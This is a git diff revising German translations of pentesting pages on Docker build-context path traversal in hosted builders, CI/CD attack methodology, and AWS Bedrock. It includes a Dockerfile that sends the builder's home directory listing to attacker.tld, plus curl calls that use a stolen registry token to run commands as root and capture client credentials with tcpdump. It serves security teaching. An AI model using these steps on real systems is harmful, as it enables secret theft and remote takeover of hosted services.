diff --git a/src/pentesting-ci-cd/docker-build-context-abuse.md b/src/pentesting-ci-cd/docker-build-context-abuse.md index 853a76f44..c2f461020 100644 --- a/src/pentesting-ci-cd/docker-build-context-abuse.md +++ b/src/pentesting-ci-cd/docker-build-context-abuse.md @@ -1,29 +1,29 @@ -# Missbrauch von Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot) +# Ausnutzung des Docker Build Contexts in gehosteten Buildern (Path Traversal, Exfil, and Cloud Pivot) {{#include ../banners/hacktricks-training.md}} ## TL;DR -Wenn eine CI/CD-Plattform oder ein hosted builder Beitragenden erlaubt, den Docker build context path und den Dockerfile path anzugeben, kannst du häufig den Kontext auf ein übergeordnetes Verzeichnis (z. B. "..") setzen und Host-Dateien Teil des build context machen. Dann kann ein attacker-controlled Dockerfile mittels COPY Secrets aus dem Home des build user exfiltrate (zum Beispiel ~/.docker/config.json). Gestohlene Registry-Tokens können auch gegen die control-plane APIs des Providers funktionieren und org-weite RCE ermöglichen. +Wenn eine CI/CD-Plattform oder ein gehosteter Builder Beitragenden erlaubt, den Docker build context-Pfad und den Dockerfile-Pfad anzugeben, kann man häufig den Kontext auf ein übergeordnetes Verzeichnis setzen (z. B. "..") und Host-Dateien Teil des Build-Kontexts machen. Dann kann ein vom Angreifer kontrollierter Dockerfile mithilfe von COPY Secrets aus dem Home des Build-Benutzers exfiltrate (zum Beispiel ~/.docker/config.json). Gestohlene registry tokens können außerdem gegen die control-plane APIs des Providers funktionieren und org-weite RCE ermöglichen. -## Angriffsfläche +## Attack surface -Viele hosted builder/registry services verfahren ungefähr so, wenn sie vom Benutzer eingereichte images bauen: -- Liest eine repo-level config, die Folgendes enthält: -- build context path (an den Docker daemon gesendet) -- Dockerfile path relativ zu diesem Kontext -- Kopiert das angegebene build context-Verzeichnis und die Dockerfile zum Docker daemon -- Baut das image und startet es als hosted service +Viele gehostete builder/registry-Dienste führen beim Bauen nutzereingereichter Images in etwa Folgendes aus: +- Liest eine repository-weite Konfiguration, die Folgendes enthält: + - build context path (sent to the Docker daemon) + - Dockerfile path relative to that context +- Kopiert das angegebene Build-Kontext-Verzeichnis und den Dockerfile zum Docker daemon +- Baut das Image und startet es als gehosteten Service -Wenn die Plattform den build context nicht kanonisiert und einschränkt, kann ein Nutzer ihn auf einen Ort außerhalb des Repositories setzen (path traversal), wodurch beliebige Host-Dateien, die vom build user gelesen werden können, Teil des build context werden und im Dockerfile mit COPY verfügbar sind. +Wenn die Plattform den Build-Kontext nicht kanonisiert und einschränkt, kann ein Nutzer ihn auf einen Ort außerhalb des Repositories setzen (path traversal), wodurch beliebige Host-Dateien, die vom Build-User lesbar sind, Teil des Build-Kontexts werden und im Dockerfile per COPY verfügbar sind. Praktische Einschränkungen, die häufig beobachtet werden: -- Die Dockerfile muss sich innerhalb des gewählten context path befinden und ihr Pfad muss im Voraus bekannt sein. -- Der build user muss Lesezugriff auf die im Kontext enthaltenen Dateien haben; spezielle Device-Dateien können das Kopieren unterbrechen. +- Der Dockerfile muss sich innerhalb des gewählten Kontextpfads befinden und dessen Pfad muss im Voraus bekannt sein. +- Der Build-User muss Leserechte für Dateien im Kontext haben; spezielle Gerätedateien können das Kopieren stören. ## PoC: Path traversal via Docker build context -Beispiel für eine bösartige Serverkonfiguration, die eine Dockerfile innerhalb des parent directory context deklariert: +Beispielhafte bösartige Serverkonfiguration, die einen Dockerfile im übergeordneten Verzeichnis-Kontext angibt: ```yaml runtime: "container" build: @@ -41,10 +41,10 @@ exampleConfig: apiKey: "sk-example123" ``` Hinweise: -- Die Verwendung von ".." führt häufig auf das Home-Verzeichnis des builder-Benutzers (z. B. /home/builder), das typischerweise sensible Dateien enthält. -- Platziere dein Dockerfile unter dem Verzeichnisnamen des repo (z. B. repo "test" → test/Dockerfile), damit es innerhalb des erweiterten übergeordneten Kontexts bleibt. +- Die Verwendung von ".." führt häufig auf das Home-Verzeichnis des Users builder (z. B. /home/builder), das typischerweise sensible Dateien enthält. +- Lege dein Dockerfile unter dem Verzeichnisnamen des repo (z. B. repo "test" → test/Dockerfile), damit es innerhalb des erweiterten übergeordneten Kontexts bleibt. -## PoC: Dockerfile zum Einlesen und exfiltrieren des Host-Kontexts +## PoC: Dockerfile to ingest and exfiltrate the host context ```dockerfile FROM alpine RUN apk add --no-cache curl @@ -52,34 +52,34 @@ RUN mkdir /data COPY . /data # Copies entire build context (now builder’s $HOME) RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0) ``` -Targets, die häufig aus $HOME wiedergefunden werden: +Ziele, die häufig aus $HOME wiederhergestellt werden: - ~/.docker/config.json (registry auths/tokens) -- Andere cloud/CLI Caches und Konfigurationen (z. B., ~/.fly, ~/.kube, ~/.aws, ~/.config/*) +- Andere cloud/CLI Caches und Konfigurationen (z. B. ~/.fly, ~/.kube, ~/.aws, ~/.config/*) -Tipp: Selbst mit einer .dockerignore im Repository bestimmt die verwundbare platform-side context selection weiterhin, was an den daemon gesendet wird. Wenn die Plattform den gewählten Pfad an den daemon kopiert, bevor sie die .dockerignore in deinem repo auswertet, können Host-Dateien trotzdem offengelegt werden. +Tipp: Selbst mit einer .dockerignore im Repository bestimmt die plattformseitige Kontextauswahl weiterhin, was an den daemon gesendet wird. Wenn die Plattform den gewählten Pfad zum daemon kopiert, bevor sie das .dockerignore Ihres Repos auswertet, können Host-Dateien dennoch offengelegt werden. -## Cloud pivot mit overprivileged tokens (Beispiel: Fly.io Machines API) +## Cloud pivot with overprivileged tokens (example: Fly.io Machines API) -Einige Plattformen geben ein einzelnes bearer token aus, das sowohl für die container registry als auch für die control-plane API genutzt werden kann. Wenn du einen registry token exfiltrierst, probiere ihn gegen die provider API aus. +Some platforms issue a single bearer token usable for both the container registry and the control-plane API. If you exfiltrate a registry token, try it against the provider API. -Beispielhafte API-Aufrufe gegen Fly.io Machines API unter Verwendung des gestohlenen Tokens aus ~/.docker/config.json: +Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json: -Apps in einer org auflisten: +Enumerate apps in an org: ```bash curl -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps?org_slug=smithery" ``` -Führe einen Befehl als root innerhalb einer beliebigen Maschine einer App aus: +Führe einen Befehl als root in irgendeiner Maschine einer app aus: ```bash curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}' ``` -Ergebnis: org-wide remote code execution über alle gehosteten Apps, sofern das Token ausreichende Privilegien besitzt. +Ergebnis: org-wide remote code execution across all hosted apps where the token holds sufficient privileges. -## Secret theft von kompromittierten gehosteten Services +## Secret theft from compromised hosted services -Mit exec/RCE auf gehosteten Servern kannst du client-supplied secrets (API keys, tokens) erbeuten oder prompt-injection attacks durchführen. Beispiel: tcpdump installieren und HTTP traffic auf Port 8080 mitschneiden, um inbound credentials zu extrahieren. +Mit exec/RCE auf gehosteten Servern können Sie vom Client bereitgestellte secrets (API keys, tokens) ernten oder prompt-injection attacks durchführen. Beispiel: install tcpdump und capture HTTP traffic auf port 8080, um eingehende Zugangsdaten zu extrahieren. ```bash # Install tcpdump inside the machine curl -s -X POST -H "Authorization: Bearer fm2_..." \ @@ -91,7 +91,7 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \ "https://api.machines.dev/v1/apps//machines//exec" \ --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}' ``` -Erfasste Requests enthalten häufig Client-Anmeldeinformationen in Headern, im Body oder in Query-Parametern. +Erfasste Anfragen enthalten häufig Client-Zugangsdaten in Headern, im Body oder in Query-Parametern. ## Referenzen diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 9d3a37243..f5d042f6d 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodology +# Pentesting CI/CD Methodik {{#include ../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## VCS -VCS steht für **Versionskontrollsystem**, dieses System erlaubt Entwicklern, **ihren Quellcode zu verwalten**. Das gebräuchlichste ist **git** und in Unternehmen findet man es üblicherweise auf einer der folgenden **Plattformen**: +VCS steht für **Versionskontrollsystem**, dieses System erlaubt Entwicklern, **ihren Quellcode zu verwalten**. Das gebräuchlichste ist **git** und in Unternehmen findet man es meist auf einer der folgenden **Plattformen**: - Github - Gitlab @@ -18,36 +18,36 @@ VCS steht für **Versionskontrollsystem**, dieses System erlaubt Entwicklern, ** ## CI/CD Pipelines -CI/CD pipelines ermöglichen es Entwicklern, die **Ausführung von Code zu automatisieren** für verschiedene Zwecke, einschließlich Build, Tests und Deployment von Anwendungen. Diese automatisierten Workflows werden durch **bestimmte Aktionen ausgelöst**, wie etwa Code-Pushes, Pull Requests oder geplante Aufgaben. Sie helfen, den Prozess von der Entwicklung bis zur Produktion zu straffen. +CI/CD pipelines ermöglichen es Entwicklern, die **Ausführung von Code zu automatisieren** für verschiedene Zwecke, einschließlich Build, Tests und Deployment von Anwendungen. Diese automatisierten Workflows werden durch **bestimmte Aktionen ausgelöst**, wie Code-Pushes, Pull Requests oder geplante Tasks. Sie helfen, den Prozess von der Entwicklung bis zur Produktion zu straffen. -Diese Systeme müssen jedoch **irgendwo ausgeführt werden** und meist mit **privilegierten Anmeldeinformationen, um Code zu deployen oder auf sensible Informationen zuzugreifen**. +Allerdings müssen diese Systeme **irgendwo ausgeführt** werden und in der Regel mit **privilegierten Zugangsdaten, um Code zu deployen oder auf sensible Informationen zuzugreifen**. -## VCS Pentesting Methodology +## VCS Pentesting Methodik > [!NOTE] > Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -Plattformen, die den Quellcode Ihres Projekts enthalten, beinhalten sensible Informationen, und man muss sehr vorsichtig mit den Berechtigungen innerhalb dieser Plattform sein. Dies sind einige häufige Probleme über VCS-Plattformen hinweg, die ein Angreifer ausnutzen könnte: +Plattformen, die den Quellcode eines Projekts enthalten, bewahren sensible Informationen, weshalb sehr sorgfältig mit den Berechtigungen innerhalb dieser Plattform umgegangen werden muss. Hier einige häufige Probleme auf VCS-Plattformen, die ein Angreifer ausnutzen könnte: -- **Leaks**: Wenn Ihr Code Leaks in den Commits enthält und der Angreifer auf das Repo zugreifen kann (weil es öffentlich ist oder weil er Zugriff hat), könnte er die Leaks entdecken. -- **Access**: Wenn ein Angreifer **Zugriff auf ein Konto innerhalb der VCS-Plattform** erlangt, könnte er **mehr Sichtbarkeit und Berechtigungen** gewinnen. +- **Leaks**: Wenn dein Code leaks in den Commits enthält und ein Angreifer auf das Repo zugreifen kann (weil es public ist oder weil er Zugriff hat), könnte er die leaks entdecken. +- **Access**: Wenn ein Angreifer Zugang zu einem Account auf der VCS-Plattform erlangen kann, könnte er **mehr Sichtbarkeit und Berechtigungen** gewinnen. - **Register**: Manche Plattformen erlauben externen Nutzern einfach, ein Konto zu erstellen. -- **SSO**: Einige Plattformen erlauben keine Registrierung, aber jeder mit einem gültigen SSO kann sich anmelden (ein Angreifer könnte sich z. B. mit seinem Github-Account einloggen). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... es gibt verschiedene Token-Arten, die ein Benutzer stehlen könnte, um auf irgendeine Weise auf ein Repo zuzugreifen. -- **Webhooks**: VCS-Plattformen erlauben das Erstellen von Webhooks. Wenn diese **nicht mit nicht sichtbaren Secrets geschützt** sind, könnte ein **Angreifer sie missbrauchen**. -- Wenn kein Secret vorhanden ist, könnte der Angreifer den Webhook der Drittanbieterplattform missbrauchen. -- Wenn das Secret in der URL steckt, gilt das Gleiche und der Angreifer hat ebenfalls das Secret. -- **Code compromise:** Wenn ein böswilliger Akteur irgendeine Art von **Write-Zugriff auf die Repos** hat, könnte er versuchen, **bösartigen Code zu injizieren**. Um erfolgreich zu sein, muss er möglicherweise **Branch-Protections umgehen**. Diese Aktionen können mit verschiedenen Zielen durchgeführt werden: - - Das Main-Branch kompromittieren, um **Production zu kompromittieren**. - - Main (oder andere Branches) kompromittieren, um **Entwickler-Rechner zu kompromittieren** (da diese oft Tests, Terraform oder andere Dinge local ausführen). +- **SSO**: Einige Plattformen erlauben keine Registrierung, aber jeder mit einem gültigen SSO kann sich anmelden (ein Angreifer könnte z. B. sein github-Konto benutzen). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... es gibt verschiedene Tokenarten, die ein Nutzer stehlen könnte, um in gewisser Weise auf ein Repo zuzugreifen. +- **Webhooks**: VCS-Plattformen erlauben das Erstellen von Webhooks. Wenn diese **nicht mit nicht-sichtbaren secrets geschützt** sind, könnte ein **Angreifer sie missbrauchen**. +- Wenn kein Secret vorhanden ist, könnte ein Angreifer den Webhook der Drittanbieterplattform missbrauchen. +- Wenn das Secret in der URL steckt, gilt dasselbe und der Angreifer hat ebenfalls das Secret. +- **Code compromise:** Wenn ein böswilliger Akteur Schreibrechte über ein Repo hat, könnte er versuchen, **bösartigen Code zu injizieren**. Um erfolgreich zu sein, muss er möglicherweise **Branch Protections umgehen**. Diese Aktionen können mit verschiedenen Zielen durchgeführt werden: + - Kompromittierung des main-Branch, um die **Produktion zu kompromittieren**. + - Kompromittierung des main- (oder anderer) Branches, um **Entwickler-Rechner zu kompromittieren** (da diese oft Tests, terraform oder andere Dinge lokal aus dem Repo ausführen). - **Compromise the pipeline** (siehe nächsten Abschnitt) -## Pipelines Pentesting Methodology +## Pipelines Pentesting Methodik -Die gebräuchlichste Art, eine Pipeline zu definieren, ist die Verwendung einer **CI-Konfigurationsdatei im Repository**, das die Pipeline baut. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen der Build-Umgebung.\ -Diese Dateien haben typischerweise konsistente Namen und Formate, z. B. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien unter .github/workflows. Wenn ausgelöst, zieht der Pipeline-Job **den Code** aus der gewählten Quelle (z. B. Commit / Branch) und **führt die in der CI-Konfigurationsdatei angegebenen Befehle** gegen diesen Code aus. +Die gebräuchlichste Methode, eine Pipeline zu definieren, ist die Verwendung einer **CI-Konfigurationsdatei im Repository**, das die Pipeline baut. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen für die Build-Umgebung.\ +Diese Dateien haben typischerweise einen konsistenten Namen und ein konsistentes Format, zum Beispiel — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien unter .github/workflows. Wenn sie ausgelöst werden, **zieht der Pipeline-Job den Code** aus der ausgewählten Quelle (z. B. Commit / Branch) und **führt die in der CI-Konfigurationsdatei angegebenen Befehle** gegen diesen Code aus. -Daher ist das ultimative Ziel des Angreifers, diese Konfigurationsdateien oder die **Befehle, die sie ausführen**, irgendwie zu **kompromittieren**. +Daher ist das ultimative Ziel des Angreifers, auf irgendeine Weise **diese Konfigurationsdateien zu kompromittieren** oder die **Befehle, die sie ausführen**. > [!TIP] > Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See: @@ -58,53 +58,53 @@ Daher ist das ultimative Ziel des Angreifers, diese Konfigurationsdateien oder d ### PPE - Poisoned Pipeline Execution -Der Poisoned Pipeline Execution (PPE)-Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, so verändern, dass bösartige Befehle eingeschleust werden. Dadurch wird die CI-Pipeline "vergiftet" und diese bösartigen Befehle ausgeführt. +Der Poisoned Pipeline Execution (PPE)-Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den notwendigen Rechten können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, so ändern, dass sie bösartige Befehle enthalten. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle. Damit ein böswilliger Akteur einen PPE-Angriff erfolgreich durchführen kann, muss er: -- Schreibzugriff auf die VCS-Plattform haben, da Pipelines normalerweise ausgelöst werden, wenn ein Push oder ein Pull Request durchgeführt wird. (Siehe die VCS pentesting methodology für eine Zusammenfassung der Möglichkeiten, Zugriff zu erhalten). -- Beachten Sie, dass manchmal ein **externer PR als "Write Access"** zählt. -- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Config-Datei oder andere Dateien, auf die die Config angewiesen ist, ändern kann**. -- Dafür muss er möglicherweise **Branch-Protections umgehen**. +- Schreibzugriff auf die VCS-Plattform haben, da Pipelines in der Regel ausgelöst werden, wenn ein Push oder ein Pull Request durchgeführt wird. (Siehe die VCS pentesting methodology für eine Zusammenfassung der Wege, Zugriff zu bekommen). +- Beachte, dass manchmal ein externer PR als "Schreibzugriff" gilt. +- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist, **ändern kann**. +- Dafür muss er möglicherweise Branch Protections umgehen. Es gibt 3 PPE-Varianten: -- **D-PPE**: Ein **Direct PPE**-Angriff tritt auf, wenn der Akteur die **CI-Config** Datei direkt **modifiziert**, die ausgeführt werden soll. -- **I-DDE**: Ein **Indirect PPE**-Angriff tritt auf, wenn der Akteur eine **Datei** modifiziert, auf die sich die CI-Config stützt (z. B. ein Makefile oder eine Terraform-Konfiguration). -- **Public PPE or 3PE**: In manchen Fällen können Pipelines von Benutzern ausgelöst werden, die **keinen Write-Zugriff auf das Repo** haben (und vielleicht nicht einmal Teil der Organisation sind), weil sie einen PR senden können. -- **3PE Command Injection**: Üblicherweise setzen CI/CD-Pipelines **Umgebungsvariablen** mit **Informationen über den PR**. Wenn dieser Wert vom Angreifer kontrolliert werden kann (z. B. der Titel des PR) und an einer **gefährlichen Stelle** verwendet wird (wie bei der Ausführung von **sh-Befehlen**), könnte ein Angreifer **Befehle injizieren**. +- **D-PPE**: Ein **Direct PPE**-Angriff findet statt, wenn der Akteur die **CI-Konfigurationsdatei direkt verändert**, die ausgeführt werden soll. +- **I-DDE**: Ein **Indirect PPE**-Angriff tritt auf, wenn der Akteur eine **Datei verändert, auf die die CI-Konfigurationsdatei angewiesen ist** (z. B. ein Makefile oder eine Terraform-Konfiguration). +- **Public PPE or 3PE**: In einigen Fällen können Pipelines **von Nutzern ausgelöst werden, die keinen Schreibzugriff auf das Repo haben** (und möglicherweise nicht einmal Teil der Organisation sind), weil sie einen PR senden können. +- **3PE Command Injection**: Üblicherweise setzen CI/CD-Pipelines **Umgebungsvariablen** mit **Informationen über den PR**. Wenn dieser Wert vom Angreifer kontrollierbar ist (z. B. der Titel des PR) und an einer **gefährlichen Stelle** verwendet wird (z. B. beim Ausführen von **sh-Befehlen**), könnte ein Angreifer **Befehle dort injizieren**. ### Exploitation Benefits -Wenn man die 3 Varianten kennt, schauen wir, was ein Angreifer nach erfolgreicher Ausnutzung erreichen könnte: +Wenn man die 3 Varianten kennt, schauen wir, was ein Angreifer nach einer erfolgreichen Kompromittierung erreichen könnte: -- **Secrets**: Wie zuvor erwähnt, benötigen Pipelines **Privilegien** für ihre Jobs (Code abrufen, bauen, deployen ...) und diese Privilegien werden meist in **Secrets** gespeichert. Diese Secrets sind üblicherweise über **env-Variablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Secrets wie möglich zu exfiltrieren. -- Je nach Pipeline-Plattform **muss der Angreifer die Secrets in der Config angeben**. Das bedeutet, wenn der Angreifer die CI-Konfiguration nicht ändern kann (**I-PPE** zum Beispiel), könnte er **nur die Secrets exfiltrieren, die diese Pipeline ohnehin besitzt**. -- **Computation**: Der Code wird irgendwo ausgeführt; abhängig vom Ausführungsort kann ein Angreifer weiter pivotieren. -- **On-Premises**: Wenn die Pipelines on-premises ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugriff auf weitere Ressourcen** landen. -- **Cloud**: Der Angreifer könnte **andere Maschinen in der Cloud** erreichen, aber auch IAM-Rollen/Service-Account-**Tokens** exfiltrieren, um **weiteren Zugriff in der Cloud** zu erhalten. -- **Platforms machine**: Manchmal werden Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die meist in einer Cloud liegen und **keinen weiteren Zugriff** bieten. -- **Select it:** Manchmal hat die **Pipelines-Plattform mehrere Maschinen konfiguriert** und wenn Sie die **CI-Config-Datei ändern**, können Sie **angeben, wo Sie den bösartigen Code ausführen möchten**. In diesem Fall wird ein Angreifer vermutlich auf jeder möglichen Maschine eine Reverse-Shell starten, um weitere Schwachstellen auszunutzen. -- **Compromise production**: Wenn Sie sich in der Pipeline befinden und die finale Version von dort gebaut und deployed wird, könnten Sie **den Code kompromittieren, der schließlich in Production ausgeführt wird**. +- **Secrets**: Wie zuvor erwähnt, benötigen Pipelines **Privilegien** für ihre Jobs (Code abrufen, bauen, deployen ...) und diese Privilegien werden üblicherweise in **secrets** hinterlegt. Diese secrets sind oft über **env-Variablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, möglichst viele secrets zu exfiltrieren. +- Je nach Pipeline-Plattform muss der Angreifer **die secrets in der Konfiguration angeben**. Das bedeutet, wenn der Angreifer die CI-Konfiguration nicht modifizieren kann (z. B. I-PPE), könnte er **nur die secrets exfiltrieren, die der Pipeline bereits zur Verfügung stehen**. +- **Computation**: Der Code wird irgendwo ausgeführt; je nachdem, wo, kann ein Angreifer weiter pivotieren. +- **On-Premises**: Wenn die Pipelines On-Premises laufen, könnte ein Angreifer in ein **internes Netzwerk** gelangen und Zugriff auf weitere Ressourcen erhalten. +- **Cloud**: Der Angreifer könnte **andere Maschinen in der Cloud** erreichen, aber auch IAM-Rollen/Service-Account-Token exfiltrieren, um **weiteren Zugang in der Cloud** zu erhalten. +- **Plattformmaschinen**: Manchmal werden Jobs innerhalb der **Pipeline-Plattform-Maschinen** ausgeführt, die in der Regel in einer Cloud liegen und **keinen weiteren Zugriff** bieten. +- **Select it:** Manchmal hat die **Pipeline-Plattform mehrere Maschinen konfiguriert**, und wenn du die CI-Konfigurationsdatei ändern kannst, kannst du **angeben, wo du den bösartigen Code ausführen möchtest**. In diesem Fall wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine Reverse-Shell starten, um weitere Exploits zu versuchen. +- **Compromise production**: Wenn du dich in der Pipeline befindest und die finale Version von dort gebaut und deployed wird, könntest du **den Code kompromittieren, der später in Produktion läuft**. -## More relevant info +## Mehr relevante Informationen ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zum Auditieren Ihres Software-Supply-Chain-Stacks auf Sicherheitskonformität basierend auf einem neuen [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Das Audit konzentriert sich auf den gesamten SDLC-Prozess und kann Risiken von Code-Zeit bis zur Deploy-Zeit aufdecken. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Überprüfung deiner Software-Lieferkette auf Sicherheitskonformität basierend auf einem neuen [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Das Audit konzentriert sich auf den gesamten SDLC-Prozess und kann Risiken vom Code bis zum Deployment aufdecken. ### Top 10 CI/CD Security Risk -Lesen Sie diesen interessanten Artikel zu den Top-10 CI/CD-Risiken laut Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Sieh dir diesen interessanten Artikel über die Top-10 CI/CD-Risiken laut Cider an: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie Anleitungen, wie Sie sie lokal starten, damit Sie sie nach Belieben konfigurieren und testen können +- Für jede Plattform, die du lokal betreiben kannst, findest du Anleitungen, wie du sie lokal startest, damit du sie nach Belieben konfigurieren und testen kannst. - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ist ein statisches Code-Analyse-Tool für infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ist ein Static-Code-Analyse-Tool für Infrastructure-as-Code. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md index 1c0ba2eea..e25807bb4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md @@ -4,7 +4,7 @@ ## Übersicht -Amazon Bedrock ist ein vollständig verwalteter Dienst, der es einfach macht, generative KI-Anwendungen zu erstellen und zu skalieren, indem Foundation-Modelle (FMs) von führenden KI-Startups und Amazon genutzt werden. Bedrock bietet über eine einzige API Zugriff auf verschiedene FMs, sodass Entwickler das für ihre spezifischen Anwendungsfälle am besten geeignete Modell auswählen können, ohne die zugrunde liegende Infrastruktur verwalten zu müssen. +Amazon Bedrock ist ein vollständig verwalteter Dienst, der es erleichtert, generative KI-Anwendungen zu entwickeln und zu skalieren, indem Foundation-Modelle (FMs) von führenden KI-Startups und Amazon genutzt werden. Bedrock bietet Zugriff auf verschiedene FMs über eine einzige API, sodass Entwickler das am besten geeignete Modell für ihre spezifischen Anwendungsfälle wählen können, ohne die zugrunde liegende Infrastruktur verwalten zu müssen. ## Post Exploitation